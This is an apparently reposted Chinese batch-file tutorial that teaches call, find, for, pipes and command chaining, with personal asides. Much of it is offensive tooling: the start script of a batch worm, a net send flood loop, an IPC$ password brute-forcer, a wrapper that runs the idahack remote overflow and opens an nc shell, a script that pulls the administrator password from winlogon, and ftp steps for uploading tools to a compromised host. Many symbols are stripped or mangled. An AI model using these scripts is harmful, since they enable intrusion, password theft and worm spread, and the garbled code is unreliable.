在start.bat中,10.bat后面跟了参数0,在执行时的效果,其实就是把10.bat里的参数%1用0代替。在start.bat中,ipc.bat后面跟了参数ipcfind.txt(一个文件,也可以做参数),执行时的效果,就是用ipc.bat中的每一行的三个变量(这里不懂没关系,学过for命令后就懂了),对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的,使用时需要好好体会。在初学期间,可以先学习只调用脚本,至于连脚本的参数一起使用的情况,在后面的学习中自然就会有比较深刻的理解,这是因为当你已经可以灵活运用批处理脚本后,如何使代码写的更精简更完美更高效就自然包括到了考虑的范围,这时候你就会发现在调用脚本时直接加入参数,可以使代码效率加倍。By the way,上面的这几个脚本,都是Bat.Worm.Muma病毒的一部分,在后面的教程里,大家将有机会见到这个病毒的真面目。
那是不是说,在同一个目录下至少存在两个批处理脚本文件(只有一个你调用谁?)?呵呵,注意了,这句话错了!!只有一个照样可以调用----调用自身!看例九(默认脚本文件名a.bat):
net send %1 This is a call example.
call a.bat
这两句一结合,效果自然不怎么样,因为只有一台机器来发消息,谁怕谁啊?我给你来个礼尚往来!可如果有100台机器同时执行,而且每台机器开10和窗口同时向一个目标机器发消息的话,呵呵。这里call a.bat的作用就是调用自身,执行完前一句net send命令后再调用自身,达到了循环执行的目的。
给出一个很有意思的脚本,有兴趣的朋友可以实验一下。例十(默认脚本文件名为a.bat):
call a.bat
一定要在DOS窗口下执行,否则只会看到一个窗口一闪而过,看不到最后结果。等执行完后,当脚本被执行了1260次,别忘了想一下到底是为什么!爱情有时候跟这个脚本一样,一旦陷入死循环,最后的结果都是意想不到的。只是爱情,绝对不会等到被毫无理由的循环这么多次,也许在第三次时就出现了love is aborted的提示。
9、find
这是一个搜索命令,用来在文件中搜索特定字符串,通常也作为条件判断的铺垫程序(我怎么突然想起了这四个字?)。这个命令单独使用的情况在批处理中是比较少见的,因为没什么实际意义。还是借例三来说明:
@echo off
netstat -a -n a.txt
type a.txt | find "7626" &am am echo "Congratulatio ! You have infected GLACIER!"
del a.txt
pause &am exit
先用netstat命令检查是否有冰河默认的端口7626在活动,并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容,再在列出的内容中搜索字符串“7626” ,发现有的话则提示中了冰河,否则退出。看,find命令其实就这么简单,但有一点必须要注意到:如果不使用type命令列出a.txt中的内容,而是直接使用find命令在a.txt中找“7626”(find a.txt "7626" &am am echo "Congratulatio ! You have infected GLACIER!"),就必须得给出这个a.txt的绝对路径(我试过了,find并没有默认路径就是当前路径的功能,必须手动指定。也许是我错了,欢迎指正)。因为在find命令的帮助里有这么一句话:如果没有指定路径,find将搜索键入的或者由另一个命令产生的文字。这里的“另一个命令”自然就指的type命令了。
至于find命令的其他几个参数如v、n、i等,有兴趣的朋友自己去研究吧,这已经属于DOS学习的内容了,这里就不做介绍。关于find命令和其他命令的一些更精妙的用法(有些简直令人叫绝),后续的教程中将介绍,希望关注。
10、for、set、shift
为什么把这三个命令放到一起来讲?原因除了我说明外,恐怕谁也想不到!很简单的一句话:其实我也不太懂!是的,对于这两个命令,我是从研究Bat.Worm.Muma病毒开始学习的,时间过去了不少,但还是没完全搞明白,我怕讲出来连自己都看不懂,我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你,如何让这两个命令给自己留一个初步的印象,其实也就是这两个命令的入门,而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令(特别是for)谈何容易!也许你会表扬我说我诚实、不懂就不懂;也许你会骂我,让我既然不懂就赶紧滚蛋,不要在这里丢人显眼;也许你还会说一些别的这样那样好听或不好听的话,都随便你了,即使我不同意你说的话,我也会誓死捍卫你说话的权利。看例十一:
@echo off
for /? for.txt
set /? set.txt
shift /? > hift.txt
执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件,里面分别记录了for命令、set命令和shift命令的帮助信息。地球人都能看懂,我就不多说了。我在网上曾经找了很长时间这三个命令的教程,但都不理想,基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令后,一定要写一篇用自己的文字总结出来的for、set和shift教程(关于shift命令,后面介绍批处理的参数时还将涉及到),一定会的,这是我的心愿之一!需要注意的一点是,这三个命令的帮助里 ,介绍的都比较死板,虽然也举了一些例子,但这是远远不够的。要掌握这两个命令,最需要的就是耐心!没写错,就是耐心。光是认真看完它们的帮助文字就已经需要足够的耐心了,要进一步练习领会这两个命令,难道不需要更大的耐心?实战练习的机会我会留给你的,关键还是那句话,看你有没有耐心去研究了。看看例十二:
START.BAT:
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" A.TMP
FOR /F "toke =7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&am am SET NUM2=%%J&am am SET NUM3=%%K&am am SET NUM4=%%L&am am SET NUM5=%%M&am am CALL NEAR.BAT
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START A.LOG
PING %IPA%.%NUM3%.1B.TMP
PING %IPA%.%NUM3%.%NUM4%B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
这是Bat.Worm.Muma病毒的起始脚本,设置了病毒运行的环境变量。是不是看的头都大了?又忘了写在第一章第一段的那句话(静下心来!),你应该能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人,你得学会宽容,打不得骂不得,用你宽大的胸怀去包容她的一切,即使你发现爱她的过程如看上面代码的过程一样让你头大,但你还是得爱下去----爱需要理由吗?不需要吗?需要吗?不需要吗……等到风平浪静后,最直观的收获就是,你的耐心变的前所未有的充足,面对她的复杂和善变,你自己会处变不惊,以自己的方式去从容应付曾经应付不了的场面,即使到最后一身伤痕,也会感慨曾经的举动有多么伟大。
没错,这就是批处理的魅力,这就是爱的魅力。让你受了伤还感谢伤你的人。这种感觉就好象在自己最喜欢的音乐声中被人强 ,痛并快乐着。
不得不再次重申一遍,各种DOS命令是批处理的BODY(我实在找不出一个更合适的词来形容他们之间的关系),学好DOS命令是学好批处理的前提。其他DOS命令如copy、dir、del、type、path、break、start等内部命令,以及ping、net、cmd、at、sort、attrib、fc、find等外部命令,在批处理里的应用非常广泛。这篇教程的作用,是教你认识批处理,以及如何利用DOS命令组合出来一个完美的批处理脚本,去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的,这已经超出了本文的范畴,在此就不赘述了。
不知不觉中第三章已经结束了。耳麦里传来的依然是陈晓东的《比我幸福》,每隔4分32秒就自动重播。虽然我不并不很喜欢陈晓东,可这并不妨碍我喜欢音乐,喜欢这首描写的如此让人感慨的歌。请你一定要比我幸福/才不枉费我狼狈退出/再痛也不说苦/爱不用抱歉来弥补/至少我能成全你的追逐/请记得你要比我幸福/才值得我对自己残酷/我默默的倒数/最后再把你看清楚/看你眼里的我好馍糊/慢慢被放逐。我如同一个因年老失色而拉不到客的老***,绝望的徘徊在曾经辉煌的红灯区,用一脸的木然瞟一眼来来去去的人群,默默的回忆自己并不光彩的过去,幻想自己将要面对的未来。直到看见那些幸福依偎在一起的情侣们,才突然间发现上帝的公平,和这种公平的残忍。
可以说,批处理脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介绍,原因我已经说了,因为我也是个菜,我也不太懂----但我正在学!你呢?今天又去了一趟图书馆,淘金一样发现了一本叫《DOS批文件》的东东,藏在一个角落里落满了灰,五本摞一起就跟砖头一样厚了。大概翻了一下,里面介绍了很多比较底层和基础的东西,虽然从思路上讲,已经有点time out了,很多东西已经基本没有利用的价值(这就是信息时代的更新速度),但还是很值得看的。于是打算下午淘过来,放假回去了再好好研究一番,连同那几个不熟悉的命令一起搞熟了,再续写这篇教程。我始终坚信,没有最好只有更好。
但是很可惜,等到下午再去的时候,图书馆楼梯口已经立了一个牌子,上面写着out of service----人家这学期的工作结束了。于是回到宿舍打算继续写第四章,正在这时又得到一个“振奋人心”的消息:期末考试有一科挂了,而且是全班第一----这一门整个班里就挂了我一个。郁闷的情绪刹那间涌上心头,整个世界仿佛都变成黑的了。食堂和小卖部已经陆续关门,学校里的人越来越少,迎面过来的几个同学也都一身行李,忙碌着准备回家过年,内心的孤寂和失落如同夏日里暴雨前的乌云,迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个人在天桥上发呆,还能怎么样,连期末考试都应付不了的失败男人。
“课间休息”时间好象长了点,呵呵,上课了!从这一章开始,将详细介绍批处理中常用的几个组合命令和管道命令。这些命令虽然不是必须的,如同爱一个人时不一定非得每天去陪,但如果少了这个过程,事情就会变的复杂而不完美,所以我认为管道命令和组合命令是批处理的调味剂,几乎是少不了的。
下面从管道命令讲起。常用的管道命令有以下这些:|、、
这个命令恐怕大家不是很陌生,经常操作DOS的朋友都应该知道,当我们查看一个命令的帮助时,如果帮助信息比较长,一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕,而是直接显示到帮助信息的最后。如在提示符下输入help回车时,就会看到当前DOS版本所支持的所有非隐含命令,但你只能看到最后的那些命令,前面的早就一闪而过了,如何解决这个问题?看例十三:
help | more
回车后会发现显示满一屏幕后就自动暂停,等候继续显示其他信息。当按写回车时,变成一个一个的出现;按下空格键时一屏幕一屏幕显示,直到全部显示完为止;按其他键自动停止返回DOS。
为什么会出现上述现象?***很简单,这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令,对理解|命令的用法有很大帮助。
11.1、help命令。其实这个命令是不需要多说的,但在上述例子中help命令的用法比较特殊,直接在DOS提示符下输入help命令,结果是让DOS显示其所支持的所有非隐含命令,而在其他地方用help命令,如输入net help回车,则是显示net命令的帮助信息。
11.2、more命令。可能很多朋友以前就没有接触过这个命令,这个命令在Linux下的用处非常广泛,也是管道命令之一。大家可以找一篇比较长的文章(a.txt)在DOS提示符下输入如下两个命令去比较一下差别:more a.txt和type a.txt。利用more命令,可以达到逐屏或逐行显示输出的效果,而type命令只能一次把输出显示完,最后的结果就是只能看到末尾的部分。在例十三里,more命令的作用就是让输出的信息逐屏或逐行显示。
看到这里,你是否已经能隐约感受到了|命令的作用了?没错,它的作用,就是把前一命令的输出当后一命令的输入来用的。在例十三里,前一命令的输出,就是help命令执行后显示的DOS所支持的所有非隐含命令,而这个结果刚好做了后一命令more的输入。所以例十三和下面的例十四是等效的:
help a.txt
more a.txt
del a.txt
这里利用另一管道命令生成了一个a.txt文件作为中间环节,在用more命令查看a.txt文件后再删除a.txt文件(例十三的所有操作是在内存中进行的,不生成文件)。可以看出,正确使用管道命令|可以带来事半功倍的效果。
结合例十三和例十四,以及前面的例九再体会一遍:|命令的作用,就是让前一命令的输出当做后一命令的输入。
12、、
这两个命令的效果从本质上来说都是一样的,他们都是输出重定向命令,说的通俗一点,就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是,会清除掉原有文件中的内容后把新的内容写入原文件,而只会另起一行追加新的内容到原文件中,而不会改动其中的原有内容。例十五:
echo @echo off a.bat
echo echo This is a pipeline command example. a.bat
echo echo It is very easy? a.bat
echo echo Believe your self! a.bat
echo pause a.bat
echo exit a.bat
依次在DOS提示符下输入以上各行命令,一行一个回车,将在当前目录下生成一个a.bat文件,里面的内容如下:
@echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
看到这里,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本,而不需要专门的文本编辑工具;2、管道命令和的区别如上所述。如果这里只用命令来完成上面操作,最后也会生成一个a.bat,但里面的内容就只剩下最后一行exit了。所以和一般都联合起来用,除非你重定向的输出只有一行,那么就可以只用了。结合例一再仔细体会输出重定向管道命令和的用法。
13、、> am 、< am 这三个命令也是管道命令,但它们一般不常用,你只需要知道一下就ok了,当然如果想仔细研究的话,可以自己查一下资料。
,输入重定向命令,从文件中读入命令输入,而不是从键盘中读入。
> am ,将一个句柄的输出写入到另一个句柄的输入中。
< am ,刚好和> am 相反,从一个句柄读取输入并将其写入到另一个句柄输出中。
关于这三个管道命令的举例,在后面批处理脚本的精妙应用中还将涉及到。
下面介绍组合命令:&am 、&am am 、||
组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的,而且用的非常广泛。它的格式很简单----既然现在已经成了一个文件了,那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。组合命令的作用,就如同给爱人陪不是,说一句是说,说十句也是说,不一次把好话都说了出来,效果可能会好些----当然得排除一种特殊情况:这些话是否有先后顺序,有些话是否可以同时说。在批处理脚本里也一样,有些时候某些命令是不能同时执行的,后面给你说。
刚刚又送走了一个同学,人去楼空的感觉越来越明显,望着空荡荡的床铺,平日里喧闹的宿舍就只剩下我一个人了,整个世界只有那个平时令人非常讨厌的老鼠这时候才显得可爱起来----只有它会陪着我在这不敢开灯的漆黑夜里----一个连期末考试都应付不了的失败男人。失败!我感到快要呼吸不过来,这种失败的压力简直令我窒息,简直让我的手接收不到大脑的信号,简直让这篇未完成的教程夭折。但我能怪谁?
忙碌了一学期要过年了却挂了科,失败;挂了科也倒罢了,竟然一个人拖全班的后退,失败中的失败;更失败的,是在这最失落的时候,竟然找不到一个人可以倾诉;然而最失败的,是突然发现自己竟然如此脆弱,如此耐不住寂寞。不过这倒也解开了心中疑惑很久的一个问题:为什么明知道那段情是一个旋涡却还心甘情愿的往里面跳----这就是青春,风一样的年龄,火一样不安的心。不再爱了,我不要再一个人的时候苦苦等待;不再爱了,我不要在你给的囚笼里怜悯的爱;不再爱了,我不要在别人的视线里如此可笑;不再爱,我不再爱。就算塌下来,我也要一个人扛着,头不能低腰不能弯,不能喘息不能倾诉,因为虽然失败,但还是男人,是男人就不能向困难低头!
14、&am 这可以说是最简单的一个组合命令了,它的作用是用来连接n个DOS命令,并把这些命令按顺序执行,而不管是否有命令执行失败。例十六:
copy a.txt b.txt /y &am del a.txt
其实这句和move a.txt b.txt的效果是一样的,只不过前者是分了两步来进行的(在后面还将涉及到具体使用哪种方法的问题)。这个命令很简单,就不多费口舌了,唯一需要注意的一点是,这里&am 两边的命令是有执行顺序的,从前往后执行。
15、&am am 切记,这里介绍的几个命令都是组合命令,所以他们前后都必须都有其他命令(要不如何组合?)。这个命令也不例外,它可以把它前后两个命令组合起来当一个命令来用,与&am 命令不同之处在于,它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错,一旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。例十七:
dir 文件://1%/www/user.mdb &am am copy 文件://1%/www/user.mdb e: ackupwww
如果远程主机存在user.mdb,则copy到本地e: ackupwww,如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢?呵呵。其实它和下面这句的作用是一样的:
if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e: ackupwww
至于你喜欢用哪个就随便了,我没办法判断dir和if两个命令哪一个执行效率更高,所以不知道用哪个更好,呵呵。
你是否还记得“有些命令是不能同时执行的”?你是否相信这句话?当然得相信,不信就给你出道题:把C盘和D盘的文件和文件夹列出到a.txt文件中。你将如何来搞定这道题?有朋友说,这还不是很easy的问题吗?同时执行两个dir,然后把得到的结果到a.txt里就ok了嘛,看例十八:
dir c: &am am dir d: a.txt
仔细研究一下这句执行后的结果,看看是否能达到题目的要求!错了!这样执行后a.txt里只有D盘的信息!为什么?就因为这里&am am 命令和命令不能同时出现一个句子里(批处理把一行看成一个句子)!!组合命令&am am 的优先级没有管道命令的优先级高(自己总结的,不妥的地方请指正)!所以这句在执行时将本分成这两部分:dir c:和dir d: a.txt,而并不是如你想的这两部分:dir c: &am am dir d:和 a.txt。要使用组合命令&am am 达到题目的要求,必须得这么写:
dir c: a.txt &am am dir d: a.txt
这样,依据优先级高低,DOS将把这句话分成以下两部分:dir c: a.txt和dir d: a.txt。例十八中的几句的差别比较特殊,值得好好研究体会一下。
当然这里还可以利用&am 命令(自己想一下道理哦):
dir c: a.txt &am dir d: a.txt
16、||
这个命令的用法和&am am 几乎一样,但作用刚好和它相反:利用这种方法在执行多条命令时,当遇到一个执行正确的命令就退出此命令组合,不再继续执行下面的命令。题目:查看当前目录下是否有以s开头的exe文件,如果有则退出。例十九:
@echo off
dir s*.exe || exit
其实这个例子是有破绽的,你看出来了吗?其实很简单,自己试试就知道了嘛:如果存在那个exe文件,就退出;如果不存在那个exe文件,也退出!为什么?因为如果不存在那个.exe文件,则前一条命令dir s*.exe执行肯定是不成功的,所以就继续执行exit,自然就退出了,呵呵。那么如何解决题目给出的问题呢?看例二十:
@echo off
dir s*.exe || echo Didnt exist file s*.exe &am pause &am exit
这样执行的结果,就能达到题目的要求,是否存在s*.exe将出现两种结果。这里加暂停的意思,当然是让你能看到echo输出的内容,否则一闪而过的窗口,echo就白写了。
给出两个更好研究优先级(同时也是更难理解)的脚本,仔细研究它们的区别,以便彻底理解各种命令的优先级顺序,对以后自己利用这些命令写脚本有很大的好处----不会出错!OK,请看例二十一和例二十二:
例二十一:
@echo off
dir a.ttt /a &am dir a.txt || exit
例二十二:
@echo off
dir a.ttt /a &am am dir a.txt || exit
警告:患有心脑血管病的朋友请不要研究以上两例,否则轻者头大如斗,重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责,与本人和本论坛无关。特此警告!
有关管道命令和组合命令就大概介绍到这里了,不知道聪明的你是否理解?呵呵,能理解就成天才了,除非你以前就已经掌握!千万别小看了这几个鬼命令,大棒槌是我的说,简直就不是人学的东西!但我还是静下心来研究了一番,最后得出的结论如上所述,已经一点不剩的交给你了,希望你好好收藏并消化吸收,当然有错误被你发现了,或者不完整的地方被你看出来了,请赶紧告诉我一声!
这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程:“简明批处理教程”,虽然说的比较全面,但看起来很不过瘾。在对for等命令介绍时就一个for /? a.txt &am start a.txt完事了(当然这一点上我不能说人家什么,毕竟我连for /?都没给出),而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令,是因为他们才是批处理的精华和灵魂,能否正确利用好这几个命令,是能否掌握批处理的前提条件。如for、set等DOS命令的问题,可以从DOS的角度出发专门有针对性的学习,但有关这几个命令的问题,却是不容易精通掌握的----他们之间的关系太复杂了!
将下列代码存为bat文件
1、如果用字典破解:pa .bat 字典文件路径及名称 主机 用户名
2、如果用数字破解:pa .bat 起始数 步长 结束数 主机 用户名
密码破解出来之后,存放于c:pa .txt文件里面。
将下列代码存为pa .bat文件
@echo off
echo ------------------------------------------------------------------- c:pa .txt
echo ------------------------------------------------------------------- c:pa .txt
date /t c:pa .txt
time /t c:pa .txt
echo 破解结果: c:pa .txt
if "%6"=="1" goto 大棒槌是我的说2
:大棒槌是我的说1
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:大棒槌是我的说2
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
将下列代码存为test.bat
net use \%1ipc$ %2 /user:"%3"
goto a wer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命令执行返回结果,net use成功返回0,失败返回2
:a wer0
echo 远程主机:"%1" c:pa .txt
echo 用 户:"%3" c:pa .txt
echo 密 码:%2 c:pa .txt
net use \%1ipc$ /delet
:a wer2
对一组文件中的每个文件运行指定的命令。
可以在批处理程序中或直接从命令提示符使用 for 命令。
要在批处理程序中使用 for 命令,请使用以下语法:
for %%variable in (set) docommand [command-parameters]
要在命令提示符下使用 for,请使用以下语法:
for %variable in (set) do command [command-parameters]
%%variable 或 %variable
代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写。
指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。
command
指定要在指定的 set 所包含的每个文件上执行的命令。
command-parameters
指定要用于指定命令(如果指定的命令要使用任何参数或开关)的任何参数或开关。
如果启用了命令扩展(Windows 2000 中的默认设置),将支持 for 命令的其他形式。
For 命令的其他形式
如果启用了命令扩展,将支持如下 for 命令的其他格式:
只限于目录
for /D [%% | %]variable in (set) docommand [command-parameters]
如果 set 包含通配符(* 和 ?),则指定与目录名匹配,而不是文件名。
for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]
进入根目录树[drive:]path,在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录,则假定为当前目录。如果 set 只是一个句号 (.) 字符,则只列举目录树。
for /L [%% | %]variable in (start,step,end) do command [command-parameters]
集合是一系列按步长量划分的、从头到尾的数字。这样,(1,1,5) 将生成序列 1 2 3 4 5,而 (5,-1,1) 将生成序列 (5 4 3 2 1)。
BAT文件技巧 文章结构
1. 所有内置命令的帮助信息
2. 环境变量的概念
3. 内置的特殊符号(实际使用中间注意避开)
4. 简单批处理文件概念
5. 附件1 tmp.txt
6. 附件2 sample.bat
######################################################################
1. 所有内置命令的帮助信息
######################################################################
echo /?
goto /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?
______________________________________________________________________
下面将所有上面的帮助输出到一个文件
echo ver tmp.txt
ver tmp.txt
echo cmd /? tmp.txt
cmd /? tmp.txt
echo rem /? tmp.txt
rem /? tmp.txt
echo if /? tmp.txt
if /? tmp.txt
echo goto /? tmp.txt
goto /? tmp.txt
echo for /? tmp.txt
for /? tmp.txt
echo shift /? tmp.txt
shift /? tmp.txt
echo call /? tmp.txt
call /? tmp.txt
echo type /? tmp.txt
type /? tmp.txt
echo find /? tmp.txt
find /? tmp.txt
echo findstr /? tmp.txt
findstr /? tmp.txt
echo copy /? tmp.txt
copy /? tmp.txt
type tmp.txt
______________________________________________________
######################################################################
2. 环境变量的概念
######################################################################
_____________________________________________________________________________
C:Program File gt et
ALLUSERSPROFILE=C:Documents and SettingsAll Users
CommonProgramFiles=C:Program FilesCommon Files
COMPUTERNAME=FIRST
ComSpec=C:WINNTsystem32cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:WINNTsystem32os2dll;
Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Ste ing 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:WINNT
TEMP=C:WINNTTEMP
TMP=C:WINNTTEMP
USERPROFILE=C:Documents and SettingsDefault User
windir=C:WINNT
_____________________________________________________________________________
path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到
%windir%system32. 这个目录里面. 一般就可以自动搜索到.
语法: copy mychenxu.exe %windir%system32.
使用点(.) 便于一目了然
对环境变量的引用使用(英文模式,半角)双引号
%windir% 变量
%%windir%% 二次变量引用.
我们常用的还有
%temp% 临时文件目录
%windir% 系统目录
%errorlevel% 退出代码
输出文件到临时文件目录里面.这样便于当前目录整洁.
对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作
C:dir p*
C: 的目录
2000-09-02 11:47 2,164 PDOS.DEF
1999-01-03 00:47
Program Files
1 个文件 2,164 字节
1 个目录 1,505,997,824 可用字节
C:cd pro*
C:Program File gt;
C:cd "Program Files"
C:Program File gt;
######################################################################
3. 内置的特殊符号(实际使用中间注意避开)
######################################################################
微软里面内置了下列字符不能够在创建的文件名中间使用
con nul aux / | || &am am ^ *
You can use most characters as variable values, including white ace. If you use the ecial characters , , |, &am , or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Co ider the following examples:
(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)
To create the variable value new&am ame, type:
set varname=new^&am ame
To create the variable value "new&am ame", type:
set varname="new&am ame"
The ampersand (&am ), pipe (|), and parentheses ( ) are ecial characters that must be preceded by the escape character (^) or quotation marks when you pa them as arguments.
find "Pacific Rim" trade.txt nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. mi ing
创建一个文件
追加到一个文件后面
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
^ 对特殊符号( &am )的前导字符. 第一个只是显示aaa 第二个输出文件 echo 123456 ^ aaa
echo 1231231 () 包含命令
(echo aa &am echo )
, 和空格一样的缺省分隔符号.
; 注释,表示后面为注释
: 标号作用
| 管道操作
&am Usage:第一条命令 &am 第二条命令 [&am 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
dir c:*.exe &am dir d:*.exe &am dir e:*.exe
&am am Usage:第一条命令 &am am 第二条命令 [&am am 第三条命令...]
当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
|| Usage:第一条命令 || 第二条命令 [|| 第三条命令...]
当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;
常用语法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2
IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; toke =2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母顺序 ijklmnopq依次取参数.
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
######################################################################
4. 简单批处理文件概念
######################################################################
echo This is test a.txt
type a.txt
echo This is test 11111 a.txt
type a.txt
echo This is test 22222 a.txt
type a.txt
第二个echo是追加
第三个echo将清空a.txt 重新创建 a.txt
netstat -n | find "3389"
这个将要列出所有连接3389的用户的ip.
________________test.bat___________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不显示注释语句,本行显示
@rem 不显示注释语句,本行不显示
@if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%system32fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
___________________________________________________________________________
下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.
___________________ida.bat_________________________________________________
@rem ver 1.0
@if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%system32nc.exe echo "ERROR: dont find nc.exe"
@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2
@echo Now start ...
@ping %1
@echo chinese win2k:1 1:2 2:3
idahack.exe %1 80 1 99 %temp%_tmp
@echo "prog exit code [%errorlevel%] idahack.exe"
@type %temp%_tmp
@find "good luck :)" %temp%_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END
@idahack.exe %1 80 %2 99 %temp%_tmp
@type %temp%_tmp
@find "good luck :)" %temp%_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)
_____________________ida.bat__END_________________________________
下面我们再来第二个文件.就是得到administrator的口令.
大多数人说得不到.其实是自己的没有输入正确的信息.
___________________________fpa .bat____________________________________________
@rem ver 1.0
@if NOT exist %windir%system32findpa .exe echo "ERROR: dont find findpa .exe"
@if NOT exist %windir%system32pulist.exe echo "ERROR: dont find pulist.exe"
@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpa .exe %1 %2 %3 %temp%_findpa .txt
@echo "prog exit code [%errorlevel%] findpa .exe"
@type %temp%_findpa .txt
@echo ________________________________Here__pa ★★★★★★★★
@ipconfig /all %temp%_findpa .txt
@goto END
@pulist.exe %temp%_pa .txt
@findstr.exe /i "WINLOGON explorer internat" %temp%_pa .txt
@echo "Example: fpa .bat %1 %2 %3 %4 !!!"
@echo "Usage: findpa .exe DomainName UserName PID-of-WinLogon"
@echo " fpa .bat %COMPUTERNAME% %USERNAME% administrator "
@echo " fpa .bat end [%errorlevel%] !"
_________________fpa .bat___END________________________________________
还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)
依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!
echo open 210.64.x.4 3396w
echo readw
echo readw
echo cd wi tw
echo binaryw
echo pwd w
echo get wget.exe w
echo get wi hell.exe w
echo get any.exe w
echo quit w
ftp -s:w
( Mon, 14 Jul 2008 17:32:11 +0800 )
Description:
留住我?很简单。请你给我一颗真诚的心……
( Mon, 14 Jul 2008 17:30:11 +0800 )
Description:
现在才发现原来一切都是假的,
( Wed, 2 Jul 2008 20:43:35 +0800 )
